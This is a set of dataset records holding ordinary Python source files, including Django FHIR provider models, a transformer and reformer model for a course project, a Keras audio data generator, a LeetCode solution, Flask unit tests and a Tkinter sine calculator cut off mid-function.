+{"seq_id":"86495264","text":"from __future__ import absolute_import\nfrom __future__ import unicode_literals\nfrom django.db import models\nfrom django.utils.encoding import python_2_unicode_compatible\nimport json\nfrom django.contrib.auth.models import User\nfrom collections import OrderedDict\nfrom .utils import get_practitioner, get_pecos_individual_affliliation\n\n\n@python_2_unicode_compatible\nclass Address(models.Model):\n    npi                     = models.CharField(max_length=10, default=\"\",\n                                               blank=True)\n    fhir_json_snipit        = models.TextField(max_length=2000, default=\"\")\n\n\n    def __str__(self):\n        try:\n          j = json.loads(self.fhir_json_snipit)\n          address=\"\"\n          for l in j['line']:\n            address = address + l + \" \"\n\n          address = address + \" \" + j['city'] + \" \" + j['state'] + \" \" \\\n                    +  j['postalCode'] + \" \" +  j['country'] + \\\n                    \" (\" + j['use'] + \")\"\n          return address\n\n        except ValueError:\n            return \"%s\" % (self.id)\n        except:\n            return \"%s\" % (self.id)\n    def as_dict(self):\n        result = {}\n        try:\n            j = json.loads(self.fhir_json_snipit)\n            result['line_1'] = j['line'][0]\n            result['line_2'] = j['line'][1]\n            result['city'] = j['city']\n            result['state'] = j['state']\n            result['postal_code'] = j['postalCode']\n            result['use'] = j['use']\n            result['country'] = j['country']\n            return result\n        except:\n            return {}\n\n\n    def line_1(self):\n        try:\n            j = json.loads(self.fhir_json_snipit)\n            line = j['line'][0]\n            return line\n        except:\n             return \"\"\n    def line_2(self):\n        try:\n            j = json.loads(self.fhir_json_snipit)\n            line = j['line'][1]\n            return line\n        except:\n             return \"\"\n\n\n\n    def city(self):\n        try:\n            j = json.loads(self.fhir_json_snipit)\n            return j['city']\n        except:\n            return \"\"\n\n    def state(self):\n        try:\n            j = json.loads(self.fhir_json_snipit)\n            return j['state']\n        except:\n            return \"\"\n\n\n    def postal_code(self):\n        try:\n            j = json.loads(self.fhir_json_snipit)\n            return j['postalCode']\n        except:\n            return \"\"\n    def country(self):\n        try:\n            j = json.loads(self.fhir_json_snipit)\n            return j['country']\n        except:\n            return \"\"\n\n    def use(self):\n        try:\n            j = json.loads(self.fhir_json_snipit)\n            return j['use']\n        except:\n            return \"\"\n\n\n\n@python_2_unicode_compatible\nclass Taxonomy(models.Model):\n    npi                     = models.CharField(max_length=10, default=\"\",\n                                               blank=True)\n    fhir_json_snipit        = models.TextField(max_length=2000, default=\"\")\n\n\n    def __str__(self):\n        return \"%s\" % (self.id)\n\n@python_2_unicode_compatible\nclass License(models.Model):\n    npi                     = models.CharField(max_length=10, default=\"\",\n                                               blank=True)\n    fhir_json_snipit        = models.TextField(max_length=2000, default=\"\")\n\n\n    def __str__(self):\n        return \"%s\" % (self.id)\n\n@python_2_unicode_compatible\nclass Affiliation(models.Model):\n    npi                     = models.CharField(max_length=10, default=\"\",\n                                               blank=True)\n    fhir_json_snipit        = models.TextField(max_length=2000, default=\"\")\n\n\n    def __str__(self):\n        return \"%s\" % (self.id)\n\n    def as_dict(self):\n        result = {}\n        try:\n            j = json.loads(self.fhir_json_snipit)\n            result['line_1'] = j['line'][0]\n            result['line_2'] = j['line'][1]\n            result['city'] = j['city']\n            result['state'] = j['state']\n            result['postal_code'] = j['postalCode']\n            result['use'] = j['use']\n            result['country'] = j['country']\n            return result\n        except:\n            return {}\n\n    def npi(self):\n        try:\n            j = json.loads(self.fhir_json_snipit)\n            return j['npi']\n        except:\n            return \"\"\n\n\n    def postal_code(self):\n        try:\n            j = json.loads(self.fhir_json_snipit)\n            return j['postalCode']\n        except:\n            return \"\"\n\n\n\n@python_2_unicode_compatible\nclass Practitioner(models.Model):\n    user                    = models.ForeignKey(User, blank= True, null=True)\n    npi                     = models.CharField(max_length=10, default=\"\",\n                                               unique=True,\n                                              )\n    fhir_id                 = models.CharField(max_length=24, default=\"\",\n                                               unique=True,\n                                                verbose_name=\"FHIR ID\")\n    first_name              = models.CharField(max_length=256, default=\"\",\n                                               blank=True)\n    last_name               = models.CharField(max_length=256, default=\"\",\n                                               blank =True)\n    doing_business_as       = models.CharField(max_length=256, default=\"\",\n                                               blank=True)\n\n    def __str__(self):\n        return \"%s %s\" % (self.first_name, self.last_name)\n\n    def name_to_fhir(self):\n        names =[ ]\n        name = OrderedDict()\n        name['given'] = self.first_name\n        name['family'] = self.last_name\n        names.append(name)\n        return names\n\n\n    def to_fhir(self):\n        pfhir = OrderedDict()\n        pfhir.update(get_practitioner(self.npi))\n        pfhir.update(get_pecos_individual_affliliation(self.npi))\n\n        addresses =  Address.objects.filter(npi=self.npi)\n        address= []\n        for a in addresses:\n            address.append(json.loads(a.fhir_json_snipit))\n\n        affiliations =  Affiliation.objects.filter(npi=self.npi)\n        affiliation= []\n        for a in affiliations:\n            affiliation.append(json.loads(a.fhir_json_snipit))\n\n\n\n        #Override our changes\n        pfhir['address'] = address\n        pfhir['affiliation'] = affiliation\n        pfhir['name']    = self.name_to_fhir()\n        #Bump the version\n        pfhir['meta']['version'] = pfhir['meta']['version'] + 1\n        return pfhir\n\n\n    def to_fhir_json(self):\n        return json.dumps(self.to_fhir(), indent=4)\n\n\n\n@python_2_unicode_compatible\nclass Organization(models.Model):\n    npi                     = models.CharField(max_length=10, default=\"\")\n    fhir_id                 = models.CharField(max_length=24, default=\"\")\n    organization_name       = models.CharField(max_length=256, default=\"\")\n    doing_business_as       = models.CharField(max_length=256, default=\"\")\n\n    def __str__(self):\n        return \"%s\" % (self.organization_name)\n","sub_path":"apps/provider/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"559730615","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport math, copy\nimport reformer\nimport util\n\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\nfrom torch.autograd import Variable\n\n\n\"\"\"\nCS224N course project model implementation: Transformer\n\"\"\"\n\ndef clones(module, N):\n    \"Produce N identical layers.\"\n    return nn.ModuleList([copy.deepcopy(module) for _ in range(N)])\n\ndef attention(query, key, value, mask=None, dropout=0.0):\n    \"Compute 'Scaled Dot Product Attention'\"\n    d_k = query.size(-1)\n    scores = torch.matmul(query, key.transpose(-2, -1)) / math.sqrt(d_k)\n\n    if mask is not None:\n        scores = scores.masked_fill(mask == 0, -1e9)\n    p_attn = F.softmax(scores, dim = -1)\n    # (Dropout described below)\n    p_attn = F.dropout(p_attn, p=dropout)\n    return torch.matmul(p_attn, value), p_attn\n\nclass LayerNorm(nn.Module):\n    \"Construct a layernorm module (See citation for details).\"\n    def __init__(self, features, eps=1e-6):\n        super(LayerNorm, self).__init__()\n        self.a_2 = nn.Parameter(torch.ones(features))\n        self.b_2 = nn.Parameter(torch.zeros(features))\n        self.eps = eps\n\n    def forward(self, x):\n        mean = x.mean(-1, keepdim=True)\n        std = x.std(-1, keepdim=True)\n        return self.a_2 * (x - mean) / (std + self.eps) + self.b_2\n        \nclass SublayerConnection(nn.Module):\n    \"\"\"\n    A residual connection followed by a layer norm.\n    Note for code simplicity we apply the norm first as opposed to last.\n    \"\"\"\n    def __init__(self, size, dropout):\n        super(SublayerConnection, self).__init__()\n        self.norm = LayerNorm(size)\n        self.dropout = nn.Dropout(dropout)\n\n    def forward(self, x, sublayer):\n        \"Apply residual connection to any sublayer function that maintains the same size.\"\n        return x + self.dropout(sublayer(self.norm(x)))\n\n\nclass PositionwiseFeedForward(nn.Module):\n    \"Implements FFN equation.\"\n    def __init__(self, d_model, d_ff, dropout=0.1):\n        super(PositionwiseFeedForward, self).__init__()\n        # Torch linears have a `b` by default. \n        self.w_1 = nn.Linear(d_model, d_ff)\n        self.w_2 = nn.Linear(d_ff, d_model)\n        self.dropout = nn.Dropout(dropout)\n\n    def forward(self, x):\n        return self.w_2(self.dropout(F.relu(self.w_1(x))))\n        \nclass MultiHeadedAttention(nn.Module):\n    def __init__(self, h, d_model, dropout=0.1):\n        \"Take in model size and number of heads.\"\n        super(MultiHeadedAttention, self).__init__()\n        assert d_model % h == 0\n        # We assume d_v always equals d_k\n        self.d_k = d_model // h\n        self.h = h\n        self.p = dropout\n        self.linears = clones(nn.Linear(d_model, d_model), 4)\n        self.attn = None\n        \n    def forward(self, query, key, value, mask=None):\n        \"Implements Figure 2\"\n        if mask is not None:\n            # Same mask applied to all h heads.\n            mask = mask.unsqueeze(1)\n        nbatches = query.size(0)\n        \n        # 1) Do all the linear projections in batch from d_model => h x d_k \n        query, key, value = [l(x).view(nbatches, -1, self.h, self.d_k).transpose(1, 2)\n                             for l, x in zip(self.linears, (query, key, value))]\n        \n        # 2) Apply attention on all the projected vectors in batch. \n        x, self.attn = attention(query, key, value, mask=mask, dropout=self.p)\n        \n        # 3) \"Concat\" using a view and apply a final linear. \n        x = x.transpose(1, 2).contiguous().view(nbatches, -1, self.h * self.d_k)\n        return self.linears[-1](x)\n\nclass PositionalEncoding(nn.Module):\n    \"Implement the PE function.\"\n    def __init__(self, d_model, dropout, max_len=5000):\n        super(PositionalEncoding, self).__init__()\n        self.dropout = nn.Dropout(p=dropout)\n        \n        # Compute the positional encodings once in log space.\n        pe = torch.zeros(max_len, d_model)\n        position = torch.arange(0, max_len).unsqueeze(1)\n        div_term = torch.exp(torch.arange(0, d_model, 2) *\n                             -(math.log(10000.0) / d_model))\n        pe[:, 0::2] = torch.sin(position * div_term)\n        pe[:, 1::2] = torch.cos(position * div_term)\n        pe = pe.unsqueeze(0)\n        self.register_buffer('pe', pe)\n        \n    def forward(self, x):\n        x = x + Variable(self.pe[:, :x.size(1)], requires_grad=False)\n        return self.dropout(x)\n\nclass EncoderLayer(nn.Module):\n    \"\"\"\n    Encoder is made up of two sublayers, self-attn and feed forward (defined below)\n    b blocks of cnn sublayers, each with c Conv1d \n    \"\"\"\n\n    # N=6, d_model=512, d_ff=2048, h=8, dropout=0.1\n    def __init__(self, size=512, d_ff=2048, h=8, dropout=0.1, kernel = 7, c = 4):\n        super(EncoderLayer, self).__init__()\n        self.c = c\n        \n        self.conv1d = nn.Sequential(\n            nn.Conv1d(size, size, kernel, bias=True, padding=kernel//2),\n            nn.ReLU()\n        )\n            \n        self.self_attn = MultiHeadedAttention(h, size, dropout)\n        self.feed_forward = PositionwiseFeedForward(size, d_ff, dropout)\n        self.sublayer = clones(SublayerConnection(size, dropout), self.c + 2)\n        self.size = size\n\n    def forward(self, x, mask):\n        \"Follow Figure 1 (left) for connections.\"\n\n        # convolution\n        for i in range(self.c):\n            x = self.conv1d(x.transpose(1,2))\n            #x = torch.max(x, dim=2)\n            x = x.transpose(1,2)\n            x = self.sublayer[i](x, lambda x: x)\n        \n        x = self.sublayer[self.c](x, lambda x: self.self_attn(x, x, x, mask))\n        return self.sublayer[self.c+1](x, self.feed_forward)\n\nclass TransformerEncoder(nn.Module):\n    \"\"\"\n    The transformer encoder part described in 'Attention is all you need'\n    b blocks of cnn sublayers, each with c Conv1d \n    \"\"\"\n    def __init__(self, hidden_size, N = 1, c = 4):\n        super(TransformerEncoder, self).__init__()\n        self.layer = EncoderLayer(size = hidden_size, c = c)\n        self.layers = clones(self.layer, N)\n        self.norm = LayerNorm(self.layer.size)\n\n    def forward(self, x, mask):\n        \"\"\"\n        Pass the input (and mask) through each layer in turn.\n        \"\"\"\n\n        # haroldmei\n        mask = torch.unsqueeze(mask, 1)\n\n        for layer in self.layers:\n            x = layer(x, mask)\n        return self.norm(x)\n\n\n# just copied from BiDAFOutput\nclass Transformer_Output(nn.Module):\n    \"\"\"\n    \"\"\"\n    def __init__(self, hidden_size, drop_prob):\n        super(Transformer_Output, self).__init__()\n\n        self.transformer = TransformerEncoder(hidden_size, N = 3) \n                              \n        self.att_linear_1 = nn.Linear(4 * hidden_size, 1)\n        self.mod_linear_1 = nn.Linear(hidden_size, 1)\n\n        self.att_linear_2 = nn.Linear(4 * hidden_size, 1)\n        self.mod_linear_2 = nn.Linear(hidden_size, 1)\n\n    def forward(self, att, mod, mask):\n        # Shapes: (batch_size, seq_len, 1)\n        logits_1 = self.att_linear_1(att) + self.mod_linear_1(mod)\n        mod_2 = self.transformer(mod, mask)\n        logits_2 = self.att_linear_2(att) + self.mod_linear_2(mod_2)\n\n        # Shapes: (batch_size, seq_len)\n        log_p1 = util.masked_softmax(logits_1.squeeze(), mask, log_softmax=True)\n        log_p2 = util.masked_softmax(logits_2.squeeze(), mask, log_softmax=True)\n\n        return log_p1, log_p2\n\n\nclass TransformerEncoderLayerEx(nn.Module):\n    def __init__(self, d_model, dropout=0.1, c = 4, kernel = 7):\n        super(TransformerEncoderLayerEx, self).__init__()\n        self.c = c\n\n        self.conv1d = [nn.Sequential(\n            nn.Conv1d(d_model, d_model, kernel, bias=True, padding=kernel//2).cuda(),\n            nn.ReLU()\n        )] * self.c\n\n        self.norm3 = [nn.modules.transformer.LayerNorm(d_model)] * self.c\n        self.dropout3 = [nn.modules.transformer.Dropout(dropout)] * self.c\n\n    def forward(self, src, src_mask=None, src_key_padding_mask=None):\n        for i in range(self.c):\n            src2 = self.conv1d[i](src.transpose(1,2)).transpose(1,2)\n            src = src + self.dropout3[i](src2)\n            src = self.norm3[i](src)\n\n        return src\n\n# just copied from BiDAFOutput\nclass Transformer_OutputEx(nn.Module):\n    \"\"\"\n    \"\"\"\n    def __init__(self, hidden_size, mod_layers, drop_prob):\n        super(Transformer_OutputEx, self).__init__()\n        self.cnn = TransformerEncoderLayerEx(hidden_size,c=2)\n        self.transformer = nn.modules.transformer.TransformerEncoder(\n            nn.modules.transformer.TransformerEncoderLayer(hidden_size, 8, dropout=drop_prob), \n            mod_layers, \n            nn.modules.transformer.LayerNorm(hidden_size)\n        )\n                              \n        self.att_linear_1 = nn.Linear(4 * hidden_size, 1)\n        self.mod_linear_1 = nn.Linear(hidden_size, 1)\n\n        self.att_linear_2 = nn.Linear(4 * hidden_size, 1)\n        self.mod_linear_2 = nn.Linear(hidden_size, 1)\n\n    def forward(self, att, mod, mask):\n        # Shapes: (batch_size, seq_len, 1)\n        logits_1 = self.att_linear_1(att) + self.mod_linear_1(mod)\n        mod_2 = self.transformer(self.cnn(mod)) #, mask)\n        logits_2 = self.att_linear_2(att) + self.mod_linear_2(mod_2)\n\n        # Shapes: (batch_size, seq_len)\n        log_p1 = util.masked_softmax(logits_1.squeeze(), mask, log_softmax=True)\n        log_p2 = util.masked_softmax(logits_2.squeeze(), mask, log_softmax=True)\n\n        return log_p1, log_p2\n\n\n\n\"\"\"\nCS224N course project model implementation: Reformer\n\"\"\"\nclass ReformerEncoder(nn.Module):\n    \"\"\"\n    The Reformer encoder part described in ''\n    \"\"\"\n    def __init__(self, hidden_size, depth = 12, drop_prob=0.1, bucket_size = 16, max_seq_len=512):\n        super(ReformerEncoder, self).__init__()\n        self.reformer = reformer.Reformer(\n            dim = hidden_size,\n            depth = depth,\n            bucket_size = bucket_size, \n            max_seq_len = max_seq_len,\n            heads = 8,\n            lsh_dropout = drop_prob,\n            causal = False\n        ).cuda()\n        self.bucket_size = bucket_size\n\n    def forward(self, x, mask):\n        x = self.reformer(x)\n        return x\n\n\n\n# just copied from BiDAFOutput\nclass Reformer_Output(nn.Module):\n    \"\"\"\n    \"\"\"\n    def __init__(self, hidden_size, drop_prob):\n        super(Reformer_Output, self).__init__()\n\n        self.transformer = ReformerEncoder(hidden_size, depth = 1) \n                              \n        self.att_linear_1 = nn.Linear(4 * hidden_size, 1)\n        self.mod_linear_1 = nn.Linear(hidden_size, 1)\n\n        self.att_linear_2 = nn.Linear(4 * hidden_size, 1)\n        self.mod_linear_2 = nn.Linear(hidden_size, 1)\n\n    def forward(self, att, mod, mask):\n        # Shapes: (batch_size, seq_len, 1)\n        logits_1 = self.att_linear_1(att) + self.mod_linear_1(mod)\n        mod_2 = self.transformer(mod, mask)\n        logits_2 = self.att_linear_2(att) + self.mod_linear_2(mod_2)\n\n        # Shapes: (batch_size, seq_len)\n        log_p1 = util.masked_softmax(logits_1.squeeze(), mask, log_softmax=True)\n        log_p2 = util.masked_softmax(logits_2.squeeze(), mask, log_softmax=True)\n\n        return log_p1, log_p2","sub_path":"transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":11154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"446520510","text":"# encoding=utf8\n\nimport librosa\nimport numpy as np\nimport random\n\nfrom keras.utils import to_categorical\nfrom keras.preprocessing import image\n\nfrom data_split import SPLIT_SEP\nfrom fe_and_augmentation import Augmentataion, LABEL_INDEX, LEGAL_LABELS\nimport pickle\nimport os\n\nn_classes = len(LEGAL_LABELS)\n\nSAMPLE_RATE = 16000\nSAMPLE_LENGTH = 16000\n\nTEST_LENGTH = 100\n\nEPS = 1e-8\n\nfrom fe_and_augmentation import NOISE, STRETCH, PITCH, SHIFT_TIME\nfrom fe_and_augmentation import SPEC\nfrom fe_and_augmentation import conduct_fe, conduct_augmentation\n\nORIGINAL = 'original'\n\n\nfrom ipdb import set_trace as st\n\n\nclass AudioGenerator(object):\n    def __init__(self, root_dir, k, batch_size, train_or_valid, enhance):\n        self.root_dir = root_dir\n        self.k = k\n        self.batch_size = batch_size\n        self.train_or_valid = train_or_valid\n        self.enhance = enhance\n        self.ori_data = self.get_ori_data()\n        self.aug_data = {}\n        self.steps_per_epoch = len(self.ori_data['data']) // self.batch_size\n\n    def load_pkl_data(self, path):\n        return pickle.load(open(path, 'rb'))\n\n    def get_ori_data(self):\n        print('...Load original data begin')\n        if self.train_or_valid=='train':\n            path = self.root_dir + 'fold{0}/enhance{1}_train.pkl'.format(self.k, self.enhance)\n        if self.train_or_valid=='valid':\n            path = self.root_dir + 'fold{0}/valid.pkl'.format(self.k)\n        data = self.load_pkl_data(path)\n        if self.train_or_valid=='train':\n            data['data'] = np.array(data['data'])\n        if self.train_or_valid=='valid':\n            data['data'] = conduct_fe(data['data'], SPEC)\n        data['label'] = to_categorical(data['label'], n_classes)\n        print('...Load original data done')\n        return data\n\n    def conduct_augmentation_each_epoch(self, data):\n        return conduct_augmentation(data)\n\n    def conduct_fe_each_epoch(self, data):\n        return conduct_fe(data, SPEC)\n\n    def generator(self):\n        idx_range = list(range(len(self.ori_data['data'])))\n        idx_max = len(self.ori_data['data']) - 1\n        while 1:\n            # Do shuffle\n            random.shuffle(idx_range)\n\n            # Do train epochs\n            for offset in range(0, idx_max, self.batch_size):\n\n                # batch index\n                begin = offset\n                end = offset + self.batch_size if (offset + self.batch_size) <= idx_max else idx_max\n\n                # batch data and label\n                batch_data = self.ori_data['data'][idx_range[begin:end]]\n                batch_data = self.conduct_augmentation_each_epoch(batch_data)\n                batch_data = self.conduct_fe_each_epoch(batch_data)\n                batch_label = self.ori_data['label'][idx_range[begin:end]]\n\n                # Reshape batch data and yield\n                yield batch_data.reshape(tuple(list(batch_data.shape) + [1])).astype('float32'), batch_label\n","sub_path":"kaggle/audio-recognition/script/data_generator_enhance.py","file_name":"data_generator_enhance.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"412652346","text":"# APPROACH - Greedy Solution\n# Time Complexity : O(n), n: length of nums\n# Space Complexity : O(1)\n# Did this code successfully run on Leetcode : Yes\n# Any problem you faced while coding this : None\n#\n#\n# Your code here along with comments explaining your approach\n# 1. Basically trying to see if the destination is reachable from any of the ind. Then it goes on till we check if soe ind is reachable from start\n# 2. Initially the destination is the last ind of nums. check from backwards if any of the ind, can be jumped from to rach this destination\n# 3. If so, then we update the destination to that ind and check from there backwards for any ind which can be jumped from to reach this new destination\n# 4. Keep doing this till you reach the destination as 0 (TRUE) or search ends at first index (FALSE)\n\nclass Solution:\n    def canJump(self, nums: List[int]) -> bool:\n        \n        if nums is None or len(nums) < 1:\n            return False\n        \n        destination = len(nums) - 1\n        for ind in range(len(nums) - 2, -1, -1):\n            if ind + nums[ind] >= destination:\n                destination = ind\n                \n        if destination == 0:\n            return True\n        else:\n            return False\n","sub_path":"Problem-1_Jump_Game.py","file_name":"Problem-1_Jump_Game.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"221752767","text":"from loginC import app\n\nfrom flask_principal import identity_loaded\nfrom test_helper import login,_on_principal_initL, logout, TEST_USER_LIDER, TEST_PASS_LIDER\nimport unittest\nimport datetime\nfrom test.test_helper import seleccionar_proyecto\n\nTODAY = datetime.date.today()\nPROYECTOID = 23\nnro_orden = 4\nnombre = 'TEST FASE 4'\ndescripcion = 'test fase 4 des'\nestado = 'I'\nfecha_inicio = TODAY\nfecha_fin = '2014-05-20'\nid_proyecto = PROYECTOID\nPATRON = nombre\nPARAM = 'nombre'\n\nclass FaseTestCase(unittest.TestCase):\n    \"\"\"Clase que implementa los test para el caso de uso Fase.\"\"\"\n    \n    def setUp(self):\n        \"\"\"se llama al metodo antes de iniciar el test\"\"\"        \n        self.client = app.test_client()\n        self.acceso = login(self.client, TEST_USER_LIDER, TEST_PASS_LIDER)\n        identity_loaded.connect(_on_principal_initL)\n        self.proyse= seleccionar_proyecto(self.client, PROYECTOID)\n        with app.test_client() as c:\n            with c.session_transaction() as sess:\n                sess['pry'] = PROYECTOID\n\n    def tearDown(self):\n        \"\"\" se llama al metodo al terminar el test\"\"\"\n        self.salir = logout(self.client)\n\n#===============================================================================\n#    def test_a_get_all_fases(self):\n#        \"\"\"Prueba que verifica si se puede acceder al listado de fases\"\"\"\n#        print '##----++++ PRUEBA UNITARIA FASE ++++----##'\n#        print '+++ Obtener todas las fases +++'\n#        request = self.client.get('/fase/administrarfase', follow_redirects=True)\n#        self.assertNotIn('No posee los permisos suficientes para realizar la operacion', request.data, 'No tiene permisos para ver las fases')\n#        self.assertEqual(request._status, '200 OK', 'Error al obtener las fases como '+ TEST_USER_LIDER)\n#        print '*-- Obtiene todos las fases -- request result: ' + request._status + ' --*'\n#        print'*---test 1 fase---*'\n#   \n#    def test_b_crear_fases(self):    \n#        \"\"\" Prueba de creacion de fase y verifica si la fase fue creada\"\"\"\n#        print '+++ Creacion de fase +++'\n#        request = self._crear_fase(nro_orden, nombre, descripcion, estado, fecha_inicio, fecha_fin, id_proyecto)\n#        print '*-- datos de prueba ::: ' + str(nro_orden) + ', '+ nombre+', '+  descripcion+', ' +estado + ', ' + str(fecha_inicio) +', '+ str(fecha_fin) +', '+ str(id_proyecto) +' --*'\n#        self.assertNotIn('No posee los permisos suficientes para realizar la operacion', request.data, 'No tiene permisos para crear fases')\n#        self.assertNotIn('Error', request.data, 'Tiene errores el form')\n#        self.assertIn('La fase ha sido registrada con exito', request.data, 'Error al crear la fase')\n#        print '*-- request result: ' + request._status + ' --*'\n#        self.assertIn(nombre, request.data, 'La fase creada no se encuentra en la tabla')\n#        print '*-- '+nombre+' creada correctamente, aparece en la tabla de fases--*'\n#        print '*---test 2 fase---*'\n# \n#    def test_c_crear_fase_duplicado(self):\n#        \"\"\"Prueba si se pueden crear fase duplicados\"\"\"\n#        print '+++ Creacion de fase con mismo numero orden duplicado +++'\n#        request = self._crear_fase(nro_orden, nombre, descripcion, estado, fecha_inicio, fecha_fin, id_proyecto)\n#        print '*-- datos de prueba ::: ' + str(nro_orden) + ', '+ nombre+', '+  descripcion+', ' +estado + ', ' + str(fecha_inicio) +', '+ str(fecha_fin) +', '+ str(id_proyecto) +' --*'\n#        self.assertNotIn('No posee los permisos suficientes para realizar la operacion', request.data, 'No tiene permisos para crear fases')\n#        self.assertNotIn('Error', request.data, 'Tiene errores el form')\n#        self.assertIn('Clave unica violada por favor ingrese otro NUMERO de Fase', request.data, 'Fase creada, no existe el numero de orden para la nueva fase')\n#        self.assertIn(str(nro_orden), request.data, 'La fase creada no se encuentra en la tabla')\n#        print '*-- Verificacion completa, no se pueden crear dos fases con el mismo numero de orden --*'\n#        print '*---test 3 fase---*'\n#    \n#    def test_d_buscar_fase(self):\n#        \"\"\"Prueba de busqueda de una fase\"\"\"\n#        print '+++ Buscar una fase existente por nombre +++'\n#        request = self._buscar_fase(PATRON, PARAM)\n#        print '*-- datos de prueba ::: patron = '+ PATRON +', parametro = '+PARAM+' --*'\n#        self.assertNotIn('Sin permisos para buscar fase', request.data, 'No tiene permisos para ver las fases')\n#        self.assertNotIn('Sin registro de fases', request.data, 'No se encontro fases con dicho parametro')\n#        self.assertIn(PATRON, request.data, 'La fase no existe en la tabla')\n#        print '*-- Fase encontrada exitosamente --*'\n#        print '*---test 4 fase---*'\n# \n#    def test_e_editar_fase(self):\n#        \"\"\" Prueba para editar una fase    \"\"\"        \n#        print '+++ Edicion de fase +++'\n#        request = self._editar_fase(nro_orden, nombre, 'decrip editada', estado, fecha_inicio, fecha_fin, id_proyecto)\n#        print '*-- datos de prueba ::: ' + str(nro_orden) + ', '+ nombre+', '+ 'decrip editada'+', ' +estado + ', ' + str(fecha_inicio) +', '+ str(fecha_fin) +', '+ str(id_proyecto) +' --*'\n#        self.assertNotIn('No posee los permisos suficientes para realizar la operacion', request.data, 'No tiene permisos para editar fases')\n#        self.assertNotIn('Error', request.data, 'Tiene errores el form')\n#        self.assertIn('La fase ha sido editada con exito', request.data, 'Error al editar la fase')\n#        print '*-- request result: ' + request._status + ' --*'\n#        self.assertIn(nombre, request.data, 'La fase creada no se encuentra en la tabla')\n#        print '*-- '+nombre+' creada correctamente, aparece en la tabla de fases--*'\n#        print '*---test 5 fase---*'\n# \n#    def test_f_eliminar_fase(self):\n#        \"\"\"Prueba de verificacion si se puede eliminar una fase\"\"\"\n#        print '+++ Eliminacion de proyecto existente +++'\n#        borrar_request = self._eliminar_fase(nro_orden)\n#        print '*-- datos de prueba ::: numero orden = ' + str(nro_orden) +' --*'\n#        self.assertNotIn('No posee los permisos suficientes para realizar la operacion', borrar_request.data, 'No tiene permisos para eliminar fases')\n#        self.assertIn('La fase ha sido eliminado con exito', borrar_request.data, 'Fase creada, no existe el nro_oden fase')\n#        self.assertNotIn(str(nombre), borrar_request.data, 'La fase no ha sido borrado')\n#        print '*-- Verificacion completa, se elimino correctamente--*'\n#        print '*---test 6 fase---*'\n#        print '##----++++ FIN PRUEBA UNITARIA FASE ++++----##'\n#===============================================================================\n            \n    def _crear_fase(self, nro_orden=nro_orden, nombre=nombre, descripcion=descripcion, estado=estado, fecha_inicio=fecha_inicio,\n    fecha_fin=fecha_fin, id_proyecto=id_proyecto):     \n        request = self.client.post('/fase/nuevafase', data=dict(\n            nro_orden = nro_orden,\n            nombre = nombre,\n            descripcion = descripcion,\n            estado = estado,\n            fecha_inicio = fecha_inicio,\n            fecha_fin = fecha_fin,\n            id_proyecto = id_proyecto), follow_redirects=True)\n        return request\n    \n    def _editar_fase(self, nro_orden=nro_orden, nombre=nombre, descripcion='decrip editada', estado=estado, fecha_inicio=fecha_inicio,\n    fecha_fin=fecha_fin, id_proyecto=id_proyecto):     \n        request = self.client.post('/fase/editarfase', data=dict(\n            nro_orden = nro_orden,\n            nombre = nombre,\n            descripcion = descripcion,\n            estado = estado,\n            fecha_inicio = fecha_inicio,\n            fecha_fin = fecha_fin,\n            id_proyecto = id_proyecto), follow_redirects=True)\n        return request\n    \n    def _buscar_fase(self, patron = PATRON , parametro = PARAM ):\n        request = self.client.get('/fase/buscarfase2?patron='+patron+'&parametro='+parametro+'&Buscar=Buscar', follow_redirects=True)\n        return request\n\n    def _eliminar_fase(self, nro_orden=nro_orden):     \n        request = self.client.post('/fase/eliminarfase?nro='+str(nro_orden), follow_redirects=True)\n        return request\n    \n    def _get(self, url ='/fase/administrarfase'):\n        \"\"\"obtiene la pagina administrar fases \"\"\"\n        return self.client.get(url, follow_redirects=True)\n        \nif __name__ == '__main__':\n    unittest.main()","sub_path":"src/test/testfase.py","file_name":"testfase.py","file_ext":"py","file_size_in_byte":8475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"366834468","text":"import os\nimport openai\n\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\nresponse = openai.Completion.create(\n  engine=\"davinci-codex\",\n  prompt=\"### Postgres SQL tables, with their properties:\\n#\\n# Employee(id, name, department_id)\\n# Department(id, name, address)\\n# Salary_Payments(id, employee_id, amount, date)\\n#\\n### A query to list the names of the departments which employed more than 10 employees in the last 3 months\\nSELECT\",\n  temperature=0,\n  max_tokens=150,\n  top_p=1.0,\n  frequency_penalty=0.0,\n  presence_penalty=0.0,\n  stop=[\"#\", \";\"]\n)\n","sub_path":"sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"179447875","text":"from tkinter import *\r\nimport math\r\nfrom tkinter import messagebox\r\n\r\ndef run():\r\n    \"\"\" () -> None\r\n\r\n    Koristi se u glavnom programu za pokretanje ovog modula.\r\n    \"\"\"\r\n    def f_sin():\r\n        \"\"\" () -> None\r\n\r\n        Izračunava sinus zadanog koda\r\n        \"\"\"\r\n        global sin_print\r\n\r\n        try:\r\n            kut = float(kut_unos.get())\r\n        except:\r\n            kut=0\r\n        try:\r\n            min = float(min_unos.get())\r\n        except:\r\n            min=0\r\n        try:\r\n            sec = float(sec_unos.get())\r\n        except:\r\n            sec=0\r\n\r\n        broj = (((sec/60) + min)/60) + kut\r\n\r\n        if broj<=0 or broj>=90:\r\n            messagebox.showwarning(\"Upozorenje\", \"Unesi mjeru kuta između 0 i 90\")\r\n\r\n        else:\r\n\r\n            vr = math.sin(math.radians(broj))\r\n            vr = round(vr, 5)\r\n\r\n            sin_print = Label(main, bg=\"grey\", fg=\"black\", font=\"arial 14 normal\", text=vr)\r\n            sin_print.grid(row=2, column=1)\r\n\r\n        kut_unos.configure(state=\"disabled\")\r\n        